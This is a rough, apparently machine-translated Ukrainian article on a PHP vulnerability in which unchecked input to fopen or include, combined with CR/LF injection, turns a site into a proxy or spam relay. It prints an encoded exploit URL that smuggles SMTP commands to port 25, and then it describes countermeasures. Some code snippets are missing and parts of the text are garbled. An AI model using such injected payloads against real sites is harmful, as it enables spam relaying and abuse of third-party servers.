Функції fopen, file, include і require можуть відкривати файли з інших сайтів по протоколам http і ftp. Ця можливість несе в собі потенційну вразливість в php-скрипти, що дозволяє використовувати сайт як проксі.
Попереджаю нічого нового в цьому матеріалі не буде. Незважаючи на вражаючі можливості для зловмисника, дана уразливість - просто комбінація загальновідомих властивостей php.
У російськомовному інтернеті ця вразливість практично не була освітлена. На російськомовних сайтах з проблем безпеки мені не вдалося знайти безпосереднього повідомлення про цю уразливість.
Уразливість: Url fopen wrapper
CR / LF в HTTP-запити
Комбінація символів carriage return і line feed в HTTP-запиті розділяє заголовки. Детально про це можна почитати в статті Антона Калмикова «Генерація HTTP-запитів». Цю комбінацію символів можна передати в GET-запиті у вигляді "% 0D% 0A".
Untrusted input
На багатьох сайтах сторінки генеруються скриптом-шаблонізатором. У скрипт перенаправляються всі запити сайту. З REQUEST_URI береться ім'я файлу, який треба відкрити. Файл зчитується, до нього додається шаблон з навігацією, шапкою і т.п. і результат видається клієнту.
Теж недбалий або недосвідчений програміст запросто може написати відкриття файлу без перевірки даних:
то скрипт виконає HTTP-запит:
Останні три рядки скрипт додає автоматично, але два rn перед ними означають кінець запиту. Таким чином, незахищений скрипт можна використовувати як проксі-сервер. Знаючи кілька "дірявих" сайтів, зловмисник може вибудувати з них ланцюжок, щоб його було складніше знайти.
Розумне використання експлойта
index.php? f = http% 3A% 2F% 2Fmail.example.com% 3A25% 2F + HTTP / 1.0% 0D% 0AHELO + my.own.machine% 0D% 0AMAIL + FROM% 3A% 3Cme% 40my.own. machine% 3E% 0D% 0ARCPT + TO% 3A% 3Cinfo% 40site1.st% 3E% 0D% 0ADATA% 0D% 0Ai + will + never + say + the + word + PROCRASTINATE + again% 0D% 0A.% 0D% 0AQUIT % 0D% 0A% 0D% 0A
(Повинно бути одним рядком) модуль PHP з'єднається з сервером mail.example.com по 25 порту і відправить наступний запит:
GET / HTTP / 1.0rn
HELO my.own.machinern
MAIL FROM: rn
RCPT TO: rn
DATArn
i will never say the word PROCRASTINATE againrn
.rn
QUITrnrn
HTTP / 1.0rn
Host: mail.site1.st:25rn
User-Agent: PHP / 4.1.2rnrn
Заходи захисту від експлойта
Вам, як розробнику або власнику сайту, важливо зробити все можливе, щоб через ваш сайт ніхто не зміг розіслати спам. Якщо це вийде, розісланий він буде з будь-якого гавайського діалапу, власники якого не розуміють людської мови, а крайнім можуть зробити саме вас.
Перевірка журналу запитів
Налаштування php
Найпростіший спосіб відключити можливий вразливість - заборонити відкривати URL через файлові функції. Якщо ви адміністратор свого сервера - забороняйте allow_url_fopen в налаштуваннях php. Якщо ви просто клієнт - забороніть у себе локально. У файлі .htaccess для кореня сайту напишіть рядок: php_value allow_url_fopen 0 Якщо ви злий хостинг-провайдер, можете заборонити URL fopen wrapper для всіх клієнтів за допомогою директиви php_admin_value. Включення безпечного режиму (safe mode) в даному випадку не допоможе, операція продовжують працювати справно.
зміна коду
Припинення роботи при оффенсівном запиті
Клієнт, скануючий ваш сайт на предмет непроверяемих змінних, створює зайвий трафік і завантажує процесор сервера. Зрозуміло, що йому не потрібні сторінки, які генерує ваш сайт, якщо вони не працюють як проксі. Бажано вбивати такі запити ще до запуску php-інтерпретатора. Це можна зробити за допомогою модуля mod_rewrite. У файлі .htaccess в корені сайту я поставив такий рядок:
При цьому передбачається, що на сайті не будуть відправлятися методом GET форми з багаторядковим призначеним для користувача введенням. Інакше вони будуть зупинені цим правилом.